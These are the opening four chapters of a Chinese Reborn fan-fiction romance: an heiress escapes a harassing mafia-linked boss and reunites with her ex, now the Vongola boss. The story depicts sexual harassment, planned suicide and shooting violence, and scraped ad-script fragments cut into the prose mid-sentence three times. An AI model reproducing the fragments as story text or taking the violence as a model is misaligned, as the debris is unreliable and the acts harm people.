《前男友是彭格列十代目?!》 1. 久别重逢第1天 第一章 今天是十月十三日,星期五,晚上十点。 这个时间点,茉莉原本应该在休息。 而不是像现在这样,被居心不良的上司拉着,在这破公司加班。 电脑屏幕上是被甲方无理退回修改了二十遍的策划案,而就在刚才,她收到了甲方的最新消息。 说是要用第一版。 这种事情也不是第一次了,每一次发生时,茉莉都会努力抑制住自己想顺着网线过去给甲方一颗子弹的冲动。 但是今天,她的内心却什么波动都没有。 只有一片空荡荡的死寂。 现在还在公司办公室里的,只有她和自己那个色鬼上司。 抬起头,茉莉看到了上司的背影,那个秃顶的中年男人,正在哼着不成调的歌,在休息室里布置着红酒、西餐、香薰和蜡烛。 多看一眼都让人恶心,茉莉逃也般的快速离开办公室。 她把自己关在了空无一人的洗手间里。 作为东京具有垄断性质的集团公司,这附近数十栋摩天大楼都属于集团,所有的一切看起来都是那么的光鲜亮丽,就连洗手间也一样。 保洁把这里打扫的闪闪发光,一尘不染,空气中弥漫着浓郁的花香。 可是她还是觉得恶心。 反胃感涌上心头,茉莉蹙着眉,双手撑在洗手池边,努力平复自己的呼吸。 洗手间的镜子映照出她的面容。 银色及腰长直发如同瀑布一般披散在肩膀、胸前和背后,如同湖水一般的翠绿色眼眸半睁着,嘴唇苍白。 因为她的意大利和日本混血血统,再加上父母的优秀基因,她毫无疑问是个美人。 茉莉从小自傲于自己的容貌,但如今失去了保护她的家人和身世,孤身一人踏入这个社会后,她不止一次感受到了容貌对她造成的困扰。 没有人在乎她的工作能力,不管她做出什么样的成绩,都会被人认为是靠美色才会得到上司的赏识。 但其实,他们的想法也没错。 因为上司就是想睡她。 一开始,他还是只是用眼神和语言暗示,被她无视后,他甚至开始动手动脚。 每次都被她不动声色的躲了过去,想办法叫其他同事过来,或者是故意制造意外,他那恶心的咸猪手才没有真的碰到她。 但这明显激起了这家伙的胜负欲,他更想得到她了。 他控制了她的晋升和调岗机会,扣下了个人档案,还威胁她如果辞职,会让她再也找不到任何工作。 “小茉莉,如果落到其他人手里,你的处境会比现在还更艰难哦,”那个恶心的男人笑眯眯道,“跟着我不好吗?我会好好珍惜你的。” “……” 茉莉知道,他说的都是真的。 因为这家集团公司背后真正的靠山,就是当地的某个Mafia。 她曾经是贵族家庭的大小姐,哪怕家道中落,父亲也去世了,她也不会放任自己沦落到那种堕落的地步。 所以…… 镜中的那位银色长发的美人,垂着眼眸,优雅的掀起裙摆,从大腿内部的吊带袜上拔出一把左轮/手/枪。 这把枪是父亲留给她的,里面只剩下两发子弹。 子弹数量刚刚好。 为了对她下手,这个渣滓借着全部门加班的理由把她骗到了公司,并用虹膜锁关闭了整栋大楼的进出权,楼下大门一直到明天早上才会自动开放。 而且她之前特地打听过,像他这种家族成员,身上都带着gps定位和生命健康检测器,如果死亡,会立即通知监测人员。 等她杀了那个渣滓,他的家族很快就会找上来,她会想办法躲起来,然后尽可能的逃跑。 能侥幸逃脱当然最好,但更大的可能性是还没离开基地的范围,就会被抓起来。 落到那些人手里,下场会及其凄惨。 所以,这最后一颗子弹,到时候就能派上用场。 镜中的美人轻抚着手中的枪,垂着翡翠般的眼眸,苍白的唇勾起一抹嘲讽的笑容。 今天是10月13日。 对于她来说,明天是一个特殊的日子,光是回忆起来,这颗麻木的将要死去的心脏又会重新感到疼痛。 如果可以的话,她不想死在明天。 门外响起敲门声,是她那个饥渴难耐的上司,已经等不下去,粗鲁的催促她赶紧出来。 茉莉用甜腻声音回应,声音上扬,面无表情。 “好哦,前辈,我马上就来。” ——送你去死。 洗手间的门打开了。 银色长发的美人终于出现在男人面前。 苍白的面容,潋滟的眼眸,纵然如此美貌,但她却从来穿的十分保守,今天也是一件十分古典的欧式长袖连衣裙,将所有肌肤都挡住。 但正是因为如此,才更有让人征服的欲望,忍不住想象她那藏不住高傲和蔑视的翠绿眼眸中,露出恐惧和绝望时,将是如何一副美景。 下流的眼神在她身上逡巡。 好恶心。 她改变主意了。 一枪爆头绝对是便宜了这个家伙。 “前辈~” 银发美人仰着头,往前靠近一步,露出白皙修长的脖颈,一反常态的冲男人露出笑容,白皙的脸颊上染上羞涩的粉色。 “在正餐之前,要不要玩点小游戏?” 那双眼眸波光潋滟,映照出男人的痴痴的表情。 他艰难的咽了咽口水,血脉偾张,耳膜鼓胀着心跳。 “……什么游戏?” “前辈跟我来就知道了哦。” 茉莉冲他眨了眨右眼,转过身主动往休息室的方向走去,背过身去的一瞬间,她脸上的笑容瞬间消失,满眼厌恶和嘲讽。 男人跟在她的身后,迫不及待的进了屋,休息室的门关上了。 数分钟后。 浑身被绳子绑成龟甲缚、嘴上贴着胶布的男人重重摔倒在地上,愤怒的挣扎着,不断发出呜呜的声音。 他的头被高跟鞋踩在地上,脸扭曲的贴着地面,红得像是煮熟了的螃蟹,眼神几乎能吃人。 “感觉怎么样,前辈~” 与之相反的,是银发美人脸上兴奋的红晕,以及修长的手指挡不住的愉悦笑容。 “啊,忘了前辈现在没法说话呢,不过我猜——” 她的脸上的笑容瞬间消失,甜腻的嗓音也变得冷酷,用看垃圾一般的厌恶眼神居高临下的凝视着他。 “你这蠢猪,那全是渣滓和废料的大脑里面,肯定在想着怎么杀了我吧?” 听到这句话,被她踩在脚底的男人更加剧烈的挣扎了起来,茉莉加重了脚上的力度,面无表情的听着他的喉咙中愤怒的声音转变为痛楚的呻/吟。 “抱歉,前辈,我一直在自说自话,忘记已经耽误了很多时间,到时间该开始我们的游戏了。” 茉莉提起裙子,拿出那把绑在大腿内侧吊带袜上的左轮,将转轮随意拨动旋转,面带微笑。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你听说过俄罗斯/轮/盘/赌吗?” 茉莉如愿以偿看到男人因震惊和恐惧而颤动的瞳孔。 “!!!” ——男人当然知道。 所谓俄罗斯轮/盘/赌,就是在左轮/手/枪中装一颗或多颗子弹,旋转转轮后,关上转轮,再用手/枪对着自己的头,扣动扳机。 为了处理家族内部的叛徒,昨天他才用这种游戏方式处死了叛徒和他无辜的家人。 他甚至能想起那个男人苦苦哀求的模样,还有临死前的绝望和仇恨。 那种支配的快感,简直让人飘飘欲仙。 然而,昨天的他并不知道,身为猎人的自己会被猎物屈辱的踩在脚下,然后用这种方式侮辱!! “对了,真遗憾,前辈现在没办法自己扣动扳机,就只好由您最贴心的后辈来代劳了,不用谢哦!” 银发恶魔收回高跟鞋,优雅的提裙,蹲下身,将枪/口对准了男人额心。 面带微笑,水润的唇抿起,然后,发出轻轻的,啵的一声。 “砰。” 茉莉根本没有扣动扳机,只是恶作剧的发出了模仿枪响的声音。 然而,恐惧到抖如筛糠的男人,已经因为过度紧张,而彻底晕死了过去。 空气中弥漫着一股难以言喻的味道。 啊,恶心死了。 茉莉嫌弃的捂着脸,飞速后退,打开门,有一种现在就不顾一切离开的冲动。 她其实并没有看上去的那么从容,双手也从未沾过鲜血。 之所以能够学的那么像,是因为曾经目睹过父亲审讯敌人。 现在该怎么办?要继续之前的计划吗? 枪口重新瞄准男人的头部,就在这个时候,她的手机突然响了起来,是一个陌生的电话。 茉莉毫不犹豫的挂断电话,正打算重新瞄准,可就在这个时候,休息室里的座机电话又响了起来。 和刚刚拨打她手机的是同一个电话号码。 她犹豫片刻,最后还是接起电话,话筒那边传来一个沉稳的中年男声。 “茉莉小姐,我建议您不要开枪。” “……你是谁?”茉莉紧张发问。 “我是您祖父的管家,您可以叫我威廉,这次特地奉主人的遗嘱,接您回意大利继承家族。” ……啊? 每一个字她都听得懂,怎么合到一起,突然就感觉听不懂了呢? “如果小姐现在杀了他,他背后的Mafia会对您的离开带来一定程度的麻烦。我的建议是您立刻下楼,我已经将楼下大门破解。” 现在听懂了。 ……她可能真的要得救了! 但是,就这么放了那个家伙,她实在是不甘心。 茉莉翠绿色的眼眸微微眯起。 “理论上来说,只要他暂时不死,就不会对我的离开造成什么影响吧?” 威廉管家在电话那边沉默两秒,声音中情不自禁的带上些笑意。 “没错,监控录像已全部关闭,您可以按照自己的想法来行动。” 那就没什么问题了。 茉莉直接开枪崩掉了那家伙的老二,让他这辈子再也没有办法对女人做坏事。 然后就吹了吹冒着硝烟的枪口,从包里拿出自己早就准备好的辞职信,重重拍到办公桌上,潇洒离开办公室。 雨宫茉莉,原名茉莉·菲尼克斯(Molly·phoenix),从今天开始,也许,大概,要获得重生了。 2. 久别重逢第2天 在那个Mafia家族反应过来之前,他们要用最快的速度离开日本,坐上前往意大利的飞机。 威廉管家是一位年过半百的意大利绅士,他开车带茉莉回员工宿舍,为了不惊动别人,茉莉只用一个小小的手提箱,把自己最重要的几样东西带走。 一直到坐上飞机,她紧绷的精神才终于放松了下来。 威廉管家告诉茉莉,她的父亲其实是意大利菲尼克斯家族的继承人,多年前离家出走,原因未知。 自那之后,她的祖父一直支撑着家族,四处寻找着儿子的踪迹,直到前些阵子才知道了儿子的死讯,失去了念想的他旧疾复发去世了。 去世前将继承人的位置留给了她这个孙女。 不过,祖父也知道家族正处于水深火热之中,所以拜托威廉管家找到她后,先看看她的性格适不适合当家族首领。 “所以,管家先生,您觉得我适合当家族首领吗?”茉莉情不自禁的提问。 “茉莉小姐,如果我觉得您不适合,那就不会告诉您这件事了。”威廉管家笑着说。 主人将判定继承人的任务全权交给了他,那个时候,如果他判断茉莉小姐并没有当家族首领的潜质,他仍旧会出手救下她,带她离开,并将属于她的那部分遗产交给她,但相对的,他并不会向她透露家族的情况。 “谢谢您,管家先生,”茉莉由衷的向他道谢,“谢谢您给了我一个继承家族的机会,我一定会守护好祖父的家族,不辜负您和祖父的期待。” 威廉管家有些惊讶,他没想到茉莉小姐对他感激的理由竟然是这个,而不是刚才救下了她。 这位继承人比他想象中还要有趣。 现在已经是10月14日凌晨,飞机将于下午两点左右抵达西西里岛,作为菲尼克斯家族的新任继承人,茉莉要去参加同盟家族首领的生日晚宴。 她连先回菲尼克斯家族的时间都没有,威廉已经约好了附近的首饰和服装店,等到了就换衣服梳妆打扮,准备好后就直接去晚宴。 听到这个消息的时候,疲惫靠在椅背上的茉莉不由自主的攥紧了手指,睫毛轻颤着,神色怔怔。 威廉察觉到了她的异常:“茉莉小姐,有什么问题吗?” “没什么,”茉莉微笑摇摇头,垂下眼眸,语气意味不明,“我有个认识的人也是今天生日,刚刚想起来罢了。” “能记得对方的生日,想必一定是茉莉小姐的非常要好的朋友吧?” “不是朋友,是我最讨厌的人。”茉莉不假思索的回答。 “……” “不说他了,威廉先生,您给我讲讲去参加这种家族首领的晚宴,需要注意些什么吧?” 威廉将晚宴的流程和注意事项简单讲了讲,看她虽然强装镇定,但脸色苍白,明显今天的经历给她造成了巨大的冲击,于是柔声安慰道: “茉莉小姐,您不用担心,彭格列家族和菲尼克斯家族是同盟家族,对方虽然是目前意大利势力和影响力最大的家族,但家族作风温和,长期和我们保持着友好关系,而且对方的首领和您年龄相仿……” 后面的嘱咐,茉莉已经听不清了。 今天经历了太多,一旦放松下来,疲惫就不受控制的往上涌,听到一半,她就眼前一黑,睡了过去。 她做了个梦,那个最讨厌的人就站在她面前,用希冀的目光凝视着她,小心翼翼开口: “茉莉,明年的生日,也可以陪我一起度过吗?” “哈?你是在命令我吗?” 梦中的少女双手抱臂,语气十分不善。 那个人立刻慌张的解释:“诶?不是的,我的意思是——” “闭嘴,蠢死了。”她冷哼一声。 “……”少年的声音戛然而止,失落的垮下了肩膀。 少女却话锋一转,别过脸去,语气别扭。 “真拿你没办法。” “听好了,看在你可怜到一个朋友都没有的份上,我这次就勉为其难的答应你,没有下一次了。” 对面的少年难以置信的抬起头,双眼闪烁着感动的光芒,情不自禁的露出傻笑:“太好了,我就知道茉莉最好了,肯定会答应我的!” “不要自作多情啊,笨蛋!谁跟你关系好了?!” “关系不好的话,你为什么要送我礼物?” “……那是礼貌好不好!烦死了,不想要就还给我!” “才不要,我已经开始期待以后每一次的生日礼物了。” “每一次?”少女难以置信的睁大眼睛,“你到底想让我陪你过多少次生日啊?!” “……如果可以的话,请务必,每一年都——” “不要得寸进尺啊,讨厌鬼!” 少年少女吵闹的声音渐渐模糊远去。 茉莉终于想起来,梦中发生的,已经是十年前的事情了。 约定了那么多,结果最后,两个人一起度过的生日只有那一次。 因为这个梦的缘故,茉莉哪怕在睡梦中也不由自主的蹙着眉。 醒来的时候,茉莉还有些恍惚,大脑昏昏沉沉,一直在神游天外。 威廉给她找的服装师和化妆师是专业的,服装师给她选了一条洛丽塔抹胸晚礼服,裙子整体为黑色,裙摆分为两层,层层叠叠如同花朵一般,修身的线条显露出她纤细的腰线,上身披着薄纱披肩。 瀑布一般的银色长发上别着蝴蝶发饰,再由化妆师给她画上适合参加晚宴的妆容。 化妆师为她化妆的时候,一直在捧着她的脸小声感叹,说茉莉小姐是她见过的最美丽、肤质最好的人,所以并没有给她画太浓的妆,这次的妆容设计主要以衬托她本身的容貌为主。 茉莉淡淡的嗯了一声,并没有因为他人的夸奖而出现太多的波动。 直到化妆师和服装师开始兴奋讨论今天晚上在彭格列城堡举办的晚宴,她才终于抬起眼来,不动声色的加入话题,将话题引导到那位晚宴的主人,彭格列十代首领身上。 虽然管家先生让她不用担心,他们就是去走个过场,打个招呼,随便做点什么打发时间,但她还是十分不安。 多点了解总没有坏处。 两位女士立刻兴奋的给她介绍了起来。 虽然她们谁也没有见过彭格列十代本人,但是在意大利,尤其是西西里岛上,没有谁不知道他的传说。 刚成年时就带着守护者们来到意大利继承家族,这六年来,不仅以雷厉风行的手段将家族内部所有的蛀虫都肃清,剩下的家族成员全都凝结一条心,还带领彭格列进一步巩固了其在意大利同盟家族和敌对家族中的地位。 是毫无疑问的Mafia教父。 绝大多数人根本不相信,会有家族成员忠诚到彭格列那种程度,他们严重怀疑彭格列十代首领用了非常严苛残忍的手段来控制下属的忠心。 好了,听完这些,茉莉现在更紧张了。 她面上不显,仍旧保持着面无表情的高傲表情,在威廉管家的带领下递交邀请函,进入了城堡内的宴会大厅。 本来就谁也不认识,她只要全程保持这样的气势,不让别人看轻菲尼克斯家族就行。 不过,菲尼克斯家族上任首领去世的事,显然在场的人都知道,认出威廉管家之后,就不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怀好意的凑上来打招呼,看来是想给她这个新任首领一点下马威。 茉莉才不会给他们羞辱自己和家族的机会。 银发美人下巴微抬,轻轻摇晃着手中的酒杯,翡翠般的眼眸中满是嘲讽,面带微笑,轻而易举就能将对方明里暗里打压和羞辱的言语给反击回去。 拜她所赐,宴会才刚刚开场,就没有人愿意过来触这个霉头了,纷纷站得离她远了许多。 这样也好,清净了不少。 茉莉坐在宴会大厅的角落,轻抿着红酒,垂着眼眸,思绪渐渐远离了现实。 今天是那个她最讨厌的家伙的生日。 虽然很不想承认,但那个讨厌的家伙,其实是她的前男友。 而且,当年的事确实是她不好,那场恋情之所以会开始,都是因为她的恶作剧。 再加上,分开时太过仓促和突然,她才会这么多年都没办法忘记他,每次到那家伙生日的那天,心情都会变得很差。 茉莉垂眼看着红酒杯中自己的倒影。 已经过去十年了,也不知道那家伙现在在哪,又变成了什么样的大人。 那个时候,不管是学科考试还是体育考试,那家伙都是毫无疑问的垫底,总是一副唯唯诺诺的软弱模样,所以才会被她这样的坏蛋给欺负。 不出意外的话,十年后的他,想必也只能成为普通的废柴社畜吧。 茉莉这么理所当然的思索着。 嘈杂的宴会厅突然安静了下来,一时间只能听到大厅里悠扬的乐声。 “来了,彭格列十代。”威廉管家低声提醒。 茉莉抬起眼,视线落在了宴会厅二楼的旋转阶梯上,出现的那个身影。 那是个身材高挑修长的青年,一身一看就价格不菲的黑底金纹高定西装,脚踩红底黑皮鞋。 他有着一头棕色的头发和同色的眼睛,明明嘴角噙着温和的微笑,浑身上下散发出的上位者气势却让所有人不由自主的屏住了呼吸。 这个瞬间,茉莉震惊的睁大了眼睛,连心跳都漏了一拍。 阶梯之上的棕发青年,和她记忆中的某棕发少年前男友重叠在了一起。 等等,是她多想了吧,应该只是正好撞了发色瞳色还有生日而已,这种巧合应该很常见吧! 茉莉刚这么安慰自己,阶梯之上的棕发青年就微笑着开口了。 “晚上好,我是彭格列十代首领,沢田纲吉。” 声音低沉有力,清晰无比的传递到她的耳边。 “欢迎各位同盟家族的朋友们,来到我的生日聚会。” 四周响起宾客们潮水般的鼓掌声。 茉莉却感觉自己好像在做梦。 像是关进了透明的玻璃罩中,身边的一切声音都在远去,呼吸和心跳都消失了,眼中只剩下了那个万众瞩目下的男人。 骗人的吧? 骗人的吧! 她那个考试平均分17.5分,跳箱子只能跳三段,做什么都不行,老是被欺负,再怎么看都是个普通人的废柴前男友沢田纲吉,怎么可能在十年之后,突然变成意大利最大Mafia家族彭格列的首领啊! 看着那个在同伴陪同下,游刃有余的穿梭在宴会中,面带温和微笑,和各个宾客从容不迫的聊天的青年男人,茉莉感觉自己的三观都要崩塌了。 沢田纲吉,你这十年到底都经历了什么啊! 或许是因为她的眼神太直白的缘故,那个棕发青年似有所觉般抬起眼来,视线穿过层层叠叠的人群,准确的落到了她的身上。 四目相接。 这一眼,仿佛穿越了十年的时光。 3. 久别重逢第3天 第三章 !!! 茉莉被这一眼看得差点心肺停止,她飞快收回视线,抖着手展开装饰用的折扇,装作扇风般故意挡在自己面前。 在心里默念祈祷,希望他千万不要认出她来。 好尴尬,没有什么比看到十年前的小可怜废柴前男友,如今和她之间地位调转,碾压式的踩到她头上更让她尴尬的了! 他看到她会怎么想? 曾经高傲到不可一世的贵族大小姐前女友,不仅从头到尾都在欺骗他,还在真相被戳穿后一句话不说抛下他离开。 此后十年,再也不见。等到再见面时,自己已经从当初的废柴笨蛋蜕变成了只手遮天的大佬。 曾经欺负过自己的前女友却家道中落,孤身一人在社会上摸爬滚打好久,连尊严都差点失去,好不容易才获得了一雪前耻的机会,打算带领家族好好干出一番事业,结果现在才发现,他已经站在了她事业线的终点之上。 要是她是他,想想都要爽死了。 可问题是她现在是那个抛弃他的前女友! 光是想想,被他用那种怜悯、同情以及嘲讽的眼神看着,茉莉感觉自己就快要无法呼吸了。 绝对、绝对不能给他这个奚落她的机会! 余光已经看到那个棕发青年正在向她的方向走来,茉莉浑身紧绷,当机立断,站起来就要离开。 “茉莉小姐,怎么了?”威廉管家疑惑又担心的看着她,“您出了好多汗,是不舒服吗?” “对,没错,我有点憋得慌,想出去透透气。” 茉莉冷汗直流,一直用扇子挡着自己的半张脸,不等威廉还有什么反应,直接向着宴会厅大门的方向优雅而快速的离开。 冷静,宴会厅里人这么多,他刚刚不一定就是在看她。就算刚刚确实是在看她,他也肯定认不出她来。毕竟已经过去十年了。 再说,能坐到现在这个位置上,只要他一个眼神,肯定就会有无数的女人蜂拥而至,格局打开点,也许他早就把她这号人物给忘记了。 如同蝴蝶一般的银发女性在宴会厅的人群中穿梭,向着宴会大门的方向快速走去。 她微低着头,额前的银发挡住了眼睛,让人看不清她的表情。 但那苍白的脸颊,还有紧抿成一条线的唇,还是暴露出了她内心的不平静。 有花花公子被她吸引,故意挡在她的前进路线上,两人差点撞上。 花花公子正想道歉搭讪一条龙,却见险些被他撞倒的美人往后一步稳住身形,然后抬起眼来。 用那双无比冷漠的翡翠色眼眸看着他,面无表情,杀气毕露。 “滚。” 茉莉原本就不是一个脾气好的人,更何况是在眼下这种紧急的情况下,更不可能给眼前的陌生男人好脸色看。 但对方似乎因为她的不识抬举开始恼怒了起来,拽着她的手腕,不让她离开。 “烦死了,放开——” “这位小姐,不用这么紧张,我只是想和你认识一下。” 陌生男人已经完全被她激起了征服欲,露出故作帅气的笑容,仍旧没有松手的意思,自顾自开始自我介绍。 “我是费迪南家族的首领亚伦——” 茉莉垂着眼,满脸不耐,想要给这个无理的家伙腹部来个肘击,但又担心在宴会上动手,会更加引起某位今天宴会主角的注意。 就在她犹豫不决之时,身后近在咫尺的地方,突然响起了一个陌生又熟悉的声音。 “亚伦,好久不见。” 棕发青年面带微笑着将右手放在亚伦的肩膀上,视线却落在了被拽住手腕的银发女性身上,眸光晦暗不明。 “这位小姐看起来似乎不太舒服,还是不要为难她比较好吧?” 明明是很温和的语气,但是却带着不由分说的意味,尤其是放在亚伦肩膀上的那只手,力度相当之大。 “对、对不起,十代目……”亚伦冷汗直流着松开了手。 茉莉被人拽住的手腕终于获得了自由。 但是她却完全没有感受到轻松。 站在她面前的,替她解围的,是她最不想见到的那个人。 被他看到自己这幅模样,让茉莉感觉非常羞耻,胸口酸涩到几乎要爆炸开来。 她不敢看他的眼神,仍旧保持着用扇子挡着半张脸的动作,微微颔首表示感谢,然后就不假思索的转身离开。 “茉莉。” 她听到身后传来男人的呼唤声。 带着一丝无奈的叹息。 “这么久不见,你连一句话都不想和我说吗?” 茉莉脚步一顿。 有什么好说的,等着他装模作样的来奚落自己吗?她又不是抖M。 “抱歉,这位先生,”她听到自己冷淡到毫无起伏的声音,“你认错人了。” “……” 亚伦这才意识到自己刚才试图搭讪的,竟然是彭格列首领认识的女人。 短短几句对话,已经足以彰显出他们之间的关系匪浅。 他心脏都快跳出来了,后背一阵阵发凉。 再看看眼前的棕发青年停在那位银发美人身上就没有离开过的眼神,以及听到她说“认错人”时,青年微怔的表情,顿时心中百感交集。 也不知道她是哪位家族的大小姐,还真是不识抬举。 这可是彭格列十代首领啊! 帅气多金,实力强,性格好,还洁身自好,这几年一直在女性最想嫁的意大利Mafia首领中排名第一位,要是其他女人被他这么搭讪,估计激动得都要晕过去了。 而这个女人听完以后,甚至走得更快了! 棕发青年不假思索的就要跟上去,可就在这个时候,一位看起来不是很有眼力见的女仆,端着托盘就走了过来,挡住了路。 “要喝点饮料吗?先生。” “不用了,谢谢。” 沢田纲吉没有分给那个女仆一丝注意力,然后就绕过她快步向那个银发女人的方向追去。 亚伦正好有点口渴,叫住女仆给自己来杯红酒,结果那个没什么表情的女仆只给了他一个凉飕飕的眼神,然后就一声不吭的离开了。 亚伦:“?” 搞什么,彭格列的女仆都这么拽吗,看菜下碟? …… 茉莉对身后发生的事情一无所知。 她感觉自己有些呼吸困难,喉咙仿佛被什么东西堵住,眼前也模糊一片。 一定是因为太热了。 等她走出那扇大门,透透气,应该就会好受很多。 她离宴会厅的那扇大门,只有十几米远的距离,很快就到了。 茉莉长舒了一口气。 然而,就在她刚刚要跨出宴会大厅,逃离成功的前一秒,她的左手手腕再次被人从后面握住了。 和刚刚同样的位置。 但却是更加滚烫,让她颤抖的温度。 还有那个她最讨厌的人的声音。 “茉莉,我绝对不会认错你。” ……所以呢,他是想表达什么,炫耀他的记忆力吗? 握住她的那只手,力气比亚伦还大,她根本挣脱不开。 她只能倔强的背对着他,站在原地一动不动,没有回头。 用冷漠而疏离的声音回应。 “沢田先生,您和我说这些,有什么特别的意义吗?” “我是谁,叫不叫这个名字,对现在的您来说,重要吗?” “……” 握住她的手僵住了。 沉默几秒之后,她听到了他的声音。 “确实没什么意义,也不是什么非常重要的事情。” 他的声音带着淡淡的自嘲。 “只不过是看到老熟人,想过来叙叙旧而已。” 明明已经做好了这样的心理准备。 但是听到他真的这么说时,她的心脏还是被刺痛了。 果然,她还是和从前一样讨厌他。 喉咙被涌上的酸涩给堵住了,她几乎快要呼吸不过来,沉默好久,才冷冷的回了他一句。 “大家都很忙,就不要在这种地方耽误时间了。” “……” 在让她窒息的沉默之后,他发出了微不可闻的叹息声。 “茉莉,今天是我的生日。” 后面的话,他没有说下去,因为他知道她听得懂。 那是很多年以前,少年和少女留下的约定。 但是茉莉宁愿自己听不懂。 “我已经忘记了。” 她故意用轻松的语气回答。 “实在不好意思,沢田先生,没有给你准备任何礼物。” “不过,对于现在的你来说,已经早就不缺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 礼物和朋友,像我这种小角色,就不用放在心上了吧。” “……” 他握住她的手收紧了,加大了力度,有点疼,还有控制不住的颤抖。 “其实我——” 分不清究竟是谁在发抖。 她直接打断了他的声音。 “可以放手吗?” 她努力压抑着声音中的颤抖,不想让他看到自己丢脸的表情。 “被别人看到不太好。” 这句话仿佛激怒了他。 “有什么不好?” 他握着她的手腕,用力将她拽了回来,茉莉踉跄了两步,被迫转过身来,和他四目相对。 她已经站在了宴会厅门外,整个身体落在了黑暗之中。 而青年男人还站在门内,背后是明亮到刺眼的灯光,热闹和喧嚣。 或许是光芒太刺眼的缘故,她的视线有些模糊,看不清他的表情,只能看到那双压抑着愤怒和痛苦的棕色眼眸。 “你就这么不想看到我?” 茉莉垂下眼眸,避开他那灼热到几乎要让她燃烧起来的视线。 是她看错了吧。 看到她这幅避之不及、浑身颤抖的模样,他应该会感觉到痛快才对,怎么可能会感到痛苦呢? “没错,我根本不想看到你。” 她一根根掰开他的手指,面色冷漠而嘲讽。 “放手吧,我怕我男朋友看到误会。” 这一次,他是真的彻底僵住了。 沢田纲吉主动松开了手,他站直了身体,收回的右手垂在身侧,手指有些颤抖。 低着头,额发挡住眼睛,唇角上扬,露出笑容。 “……过了这么久,他竟然还没有被你甩掉吗?” “……” 茉莉没想到他会是这个反应,一时有些茫然。 她根本没有男朋友,刚刚那句话就是故意说来气他的,他说的这句话又是什么意思? 搞不清楚原因,但茉莉突然感觉自己回到了上风,于是顺着话题开始瞎编。 “是的,我很爱他,最近准备结婚了。到时候会给你发邀请函,你一定要来参加哦。” 她得意洋洋道。 “原来如此,我会祝福你们的。” 青年男人抬起头来,唇角弧度上扬,就连眼睛都是微笑的弧度,看不清眼神。 声音却有些冷漠。 “真巧,我也快要结婚了,作为见证,茉莉,到时候也请你务必来参加。” 神他么见证! 茉莉脸上的笑容瞬间僵住了。 哪有邀请前女友去自己的婚礼的啊,这家伙在这十年里真是学坏了,说话这么阴阳怪气,就是在故意气她! 茉莉已经忘了是自己先用这招气他的。 可她又有什么好生气的呢? 肯定是因为,她口中的男友和结婚都是骗他的,而他却来真的,让她感到不甘心罢了。 真是输的彻底。 喉咙干的要命,心脏也一抽一抽的疼痛,茉莉强迫自己不要露出太过失礼的表情。 不知道什么时候,他们身边几步远处,站了一个用托盘端着酒杯的女仆。 茉莉招手示意女仆上前来,自己倒了两杯红酒,一杯塞到他手里,一杯自己拿着,举杯示意。 “我刚接手家族,事务繁忙,你的婚礼我就不去了,在这里祝你们新婚快乐,” 鲜红的红酒摇晃着,酒杯相碰,发出清脆的响声。 茉莉仰着头,将红酒一饮而尽。 又酸又涩,根本不好喝。 但是很凉,滑过食道的一瞬间,似乎能将她心中的烦躁给短暂的压下。 喝完酒,茉莉才发现沢田纲吉竟然一直站在原地一动不动,低头注视着她,眼神怔怔,沉默不语。 “你怎么不喝?” 茉莉把空酒杯扔回女仆的托盘上,干脆拽过他手中的酒杯,就这他的手将其一饮而尽。 她没有看到旁边的女仆因震惊而睁大的眼睛,白皙的脸颊因红酒而染上粉色。 “那就这样,我先走了。” 她转身离开,这一次,身后的男人没有再一次拉住她的手。 银色长发的女性身形微顿,然后快步离开。 空气中只留下一句,微不可闻的。 “……生日快乐。” 4. 久别重逢第4天 第四章 离开宴会大厅之后,茉莉飞快的往前走,她不知道自己想要去哪里,也不知道怎么彻底离开这个地方。 只是想要逃开,从那个最讨厌的人的世界中彻底逃离。 夜风吹在身上的感觉,好冷,她的身体有些控制不住的颤抖。 但她同时又感觉很热。 可能是因为刚刚一口气喝完两杯红酒的缘故,茉莉感觉自己浑身都在发烫,大脑晕晕乎乎,胸口发堵,又酸又涩,就连视野都有些模糊。 太热了。 肯定是因为太热了。 流了好多汗。 茉莉试图用手背擦去,可根本无济于事。 为什么会有汗水不停的从眼睛里冒出来呢? 她走得踉踉跄跄,根本看不清路,再加上天太黑,一不小心就踩空,摔倒在了花圃里,从高处滚到了低处的树丛里。 精心准备的礼服被树枝划破了,高跟鞋的鞋跟也断掉了,好像还崴了脚,根本就站不起来。 在这无人的、隐蔽的角落,茉莉终于无法再强撑下去,她坐在草丛上,蜷缩成一团,双手抱膝,把脸埋在手臂之间,痛哭出声。 为什么偏偏要让她在人生的最低谷时,重新遇到他呢? 看到他过得那么好,那么幸福,已经成长为了和曾经不一样的,更好的人。 她明明应该感到高兴才对。 可是根本高兴不起来。 两个人之间的命运,好像从分别的那一刻开始发生了交换。 他成为了那么光鲜亮丽,万众瞩目的人。 而那么骄傲的自己,却一直在从云端坠落,到现在更是彻底跌进了泥潭里。 好狼狈,好丢脸,好想去死。 胸口难受到像是要爆炸。 眼泪和哭泣根本无法停止,抽噎的声音越来越大,很有可能会被路过的人听见,可茉莉已经根本控制不住自己。 为什么自己会变成现在这幅狼狈的模样呢? 不甘心,不甘心,不甘心,不甘心,不甘心,不甘心,不甘心! 不管付出多少努力,要面对多少艰难,打倒多少敌人。 她都绝对不会放弃! 一定要,一定要重新拿回属于自己的骄傲和荣耀。 要重新回到比他更高的地方,要把他踩在脚下,要让一切都回到自己的掌握中。 让他只能仰头望着她,再也没办法用那种居高临下的复杂表情看她。 在脑海中想象着那副场景,茉莉内心那股爆炸一般的痛苦终于稍微减轻了一些,抽噎的哭泣声渐渐停止。 只不过是从嚎啕大哭变成了默默流泪而已。 逐渐冷静了下来。 她对彭格列和意大利都根本不熟,现在最要紧的事是,通知威廉管家过来找她,把她赶紧带走。 自己这幅狼狈的模样不能被其他人看到。 茉莉胡乱擦去脸上的眼泪,开始寻找手机。 完蛋,口袋里空空如也,手机好像在刚刚摔倒的时候掉了出去,也不知道到底掉到了哪。 茉莉想撑着身体站起来,但她崴了脚,根本站不起来。 真是糟透了。 而且,不知道为什么,身体的力气仿佛被抽空了,越来越无力,皮肤越来越烫。 好像在发烧。 